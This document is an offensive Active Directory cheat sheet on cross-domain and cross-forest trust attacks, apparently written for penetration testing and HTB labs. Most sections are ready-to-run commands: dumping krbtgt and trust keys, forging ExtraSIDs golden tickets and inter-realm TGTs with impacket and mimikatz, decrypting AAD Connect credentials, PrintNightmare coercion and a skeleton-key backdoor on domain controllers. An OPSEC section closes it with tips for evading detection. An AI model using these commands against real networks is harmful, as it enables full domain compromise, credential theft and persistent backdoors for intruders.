Trust Attacks
Sections Trust Attacks
Cross-domain and cross-forest attack paths. Once you have DA in a child domain, the parent (and the whole forest) is usually one ExtraSIDs trick away. Cross-forest attacks need more setup.
DC=10.10.11.50
DOMAIN=corp.local
USER='svc_user'
PASS='Password1'
i. Trust types
| Type | Direction | Notes |
|---|---|---|
| Parent-Child | Bidirectional, transitive | Default inside a forest. Most permissive. |
| Tree-Root | Bidirectional, transitive | Between two trees in the same forest. |
| External | One- or two-way, non-transitive | Between domains in different forests (or same). |
| Forest | One- or two-way, transitive | Between forest roots. SID filtering applied. |
| Realm | One- or two-way, transitive | Trust to a non-Windows Kerberos realm (Linux). |
| Shortcut | Optimization within a forest | No new attack surface. |
ii. Enumerate trusts
bloodyAD as a tree:
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get trusts
## Follow trust chains across the forest:
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get trusts --transitive
nxc trust enumeration:
nxc ldap $DC -u $USER -p $PASS -M enum_trusts
LDAP filter:
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get search \
--filter '(objectClass=trustedDomain)' \
--attr trustPartner,trustDirection,trustType,trustAttributes,securityIdentifier
PowerView:
Get-DomainTrust
Get-DomainTrustMapping -API ## walk the trust graph
Get-ForestTrust
Read the trustDirection and trustAttributes carefully:
trustDirection: 1=inbound, 2=outbound, 3=bidirectionaltrustAttributes: bit flags.TRUST_ATTRIBUTE_QUARANTINED_DOMAIN(4) means SID filtering is enforced;TRUST_ATTRIBUTE_WITHIN_FOREST(32) means intra-forest.
iii. Child-to-Parent: ExtraSIDs / Golden Ticket with EA SID
Inside a forest, SID filtering is DISABLED for parent-child trusts. From a compromised child domain DA, you can forge a TGT that claims membership in the parent’s Enterprise Admins group.
Step 1: Get the child’s krbtgt hash and SID
impacket-secretsdump -just-dc-user krbtgt corp.local/Administrator:$PASS@dc.corp.local
## Note the NTLM hash of krbtgt and the child domain SID
nxc ldap dc.corp.local -u Administrator -p $PASS --get-sid
## Child SID: S-1-5-21-AAA-BBB-CCC
Step 2: Get the Enterprise Admins SID from the parent
The EA group lives in the FOREST ROOT domain. SID is <ROOT_DOMAIN_SID>-519.
## If you can reach a DC in the parent:
nxc ldap dc.root.local -u Administrator -p $PASS --get-sid
## Parent SID: S-1-5-21-XXX-YYY-ZZZ
## Enterprise Admins SID: S-1-5-21-XXX-YYY-ZZZ-519
Without parent access, walk the trust to find the parent SID:
bloodyAD -d corp.local -u $USER -p $PASS --host $DC get search \
--filter '(objectClass=trustedDomain)' --attr trustPartner,securityIdentifier
Step 3: Forge a Golden Ticket with ExtraSIDs
impacket-ticketer -nthash $CHILD_KRBTGT_NT \
-domain-sid S-1-5-21-AAA-BBB-CCC \
-domain corp.local \
-extra-sid S-1-5-21-XXX-YYY-ZZZ-519 \
Administrator
## Output: Administrator.ccache
export KRB5CCNAME=Administrator.ccache
## Now you're EA in the parent:
impacket-secretsdump -k -no-pass root.local/Administrator@dc.root.local
Mimikatz equivalent:
mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-AAA-BBB-CCC /krbtgt:CHILD_KRBTGT_NT /sids:S-1-5-21-XXX-YYY-ZZZ-519 /ptt
ExtraSIDs is the PAC field used for “this user came from a trusted domain and has these extra group memberships.” Inside a forest, parent DCs trust the SIDs verbatim. Outside (external trust with SID filtering enabled), the foreign SIDs get stripped.
iv. Cross-Forest with SID filtering
Forest trusts apply SID filtering by default. ExtraSIDs values outside the trusted domain’s namespace are stripped. But:
- SID filtering exemption (
TRUST_ATTRIBUTE_TREAT_AS_EXTERNALcleared) means trust is treated as transitive forest trust - ExtraSIDs still filtered - Selective Authentication further restricts which forest accounts can auth to forest resources
- When
Allow authentication across forest boundaryis enabled with bothForest TrustandSelective Authoff, you have wider movement
Forest enumeration:
nxc ldap $DC -u $USER -p $PASS -M enum_trusts
## look for QuarantinedDomain=False on the trust
v. Foreign Security Principals (FSP)
Cross-forest groups can have members from foreign domains. BloodHound shows these as FSP nodes. Common abuse:
- Foreign user added to Domain Admins of trusted forest (yes, this happens)
- Find via:
MATCH (n:User)-[:MemberOf]->(g {name: 'DOMAIN ADMINS@OTHER.FOREST'})
WHERE n.domain <> 'OTHER.FOREST'
RETURN n.name, n.domain
When a foreign user is in your DA, compromising them = DA on YOUR domain.
vi. Trust ticket forging (Inter-realm TGT)
Trust relationships work by sharing a Kerberos key. When you have the trust key, you can forge tickets that go to the trusted domain.
Pull the trust key (it’s a hash):
impacket-secretsdump -just-dc-user 'corp.local$' parent.local/Administrator:$PASS@dc.parent.local
## or directly with mimikatz:
mimikatz # lsadump::trust /patch
Forge an inter-realm TGT for the trusted domain:
impacket-ticketer -nthash $TRUST_KEY \
-domain corp.local \
-domain-sid S-1-5-21-AAA-BBB-CCC \
-extra-sid S-1-5-21-XXX-YYY-ZZZ-519 \
-spn 'krbtgt/parent.local' Administrator
Use the resulting ticket to request service tickets in the parent.
vii. Cross-forest credential abuse from trust key
When you have the FOREST trust key (different from intra-forest parent-child), you can forge inter-realm TGTs:
## Trust accounts look like: foreign_forest$
impacket-secretsdump -just-dc-user 'partner.com$' corp.local/Administrator:$PASS@dc.corp.local
## Forge:
impacket-ticketer -nthash $TRUST_KEY \
-domain corp.local -domain-sid SID_CORP \
-spn 'krbtgt/partner.com' Administrator
The PAC will be subject to SID filtering on the partner side, so ExtraSIDs may be stripped. But the basic identity claim survives, enabling lateral access to whatever your forged user can normally access.
viii. Trust direction matters
You’re in DOMAIN A, trust is “A trusts B” (A is trusting, B is trusted):
- Users in B can authenticate to resources in A
- Users in A CANNOT authenticate to B
- Attack direction: compromise B, move INTO A
You’re in DOMAIN A, trust is “A trusted by B” (bidirectional default):
- Users in both can auth across
- Attack direction: either way
Always check trustDirection:
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get search \
--filter '(objectClass=trustedDomain)' --attr trustPartner,trustDirection
ix. Multi-domain forest enumeration shortcut
Use the Global Catalog (GC) to query across all forest domains from any DC:
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC --gc get search \
--filter '(objectClass=user)' --attr samaccountname,memberOf
--gc connects to port 3268 (or 3269 with -s). Queries return forest-wide results, not just current domain.
x. PrintNightmare cross-forest
PrintNightmare (CVE-2021-34527) works across trust boundaries if you can reach the target DC. Useful chain:
- You have low-priv in domain A
- Forest trust to domain B exists, bidirectional
- B’s DC has Spooler running
- Coerce B’s DC via PrintNightmare, relay to ADCS or somewhere
Spooler running check:
nxc smb dc.partner.com -u $USER -p $PASS -M spooler
xi. AzureAD / on-prem hybrid
Azure AD Connect synchronizes identities between on-prem AD and Entra ID. The AAD Connect server holds credentials that can be abused for cloud takeover:
- The DSRM-like account
MSOL_xxxxxon the on-prem DC - The cleartext password for AAD Connect’s sync account, stored on the sync server
- Once compromised, can sync arbitrary password resets to Entra ID
nxc smb aadconnect.$DOMAIN -u $USER -p $PASS -M adsyncdecrypt
## Or aadinternals (PowerShell module)
Pull the MSOL credential, then use it for DCSync on the entire on-prem AD.
xii. Skeleton key against cross-domain
Once you have DA in a domain, the skeleton key (mimikatz) injects a backdoor master password into LSASS on every DC. Cross-trust attacks become easier because any password auth (including from foreign domains) accepts the skeleton.
mimikatz # privilege::debug
mimikatz # misc::skeleton
Master password defaults to “mimikatz”. Anyone in the domain can now auth as anyone else with that password. See Persistence .
xiii. Trust direction decision tree
You’re in domain A, want to attack domain B:
- A is parent of B (intra-forest, child-to-parent direction reversed): compromise B child first, then ExtraSIDs to A
- A is child, attack parent: section iii, ExtraSIDs golden ticket
- A and B in different forests, A trusts B: B users can auth to A, attack INTO A from B
- A and B in different forests, A trusted by B: get foothold in A, foreign group memberships may help
- Cross-forest with SID filtering, want full DA: harder, need the trust key (section vi/vii) or a FSP with high privs
xiv. OPSEC
- Golden tickets with ExtraSIDs are well-known IOCs, AD ATP / MDI flags them
- Trust key dumps generate Event 4662 on the trust object
- Cross-domain auth events (Event 4769 with cross-realm SPN) are noisy on monitored networks
On real engagements, prefer foreign group membership chains over forged tickets when possible (looks like normal cross-domain auth). On HTB and labs, forge freely.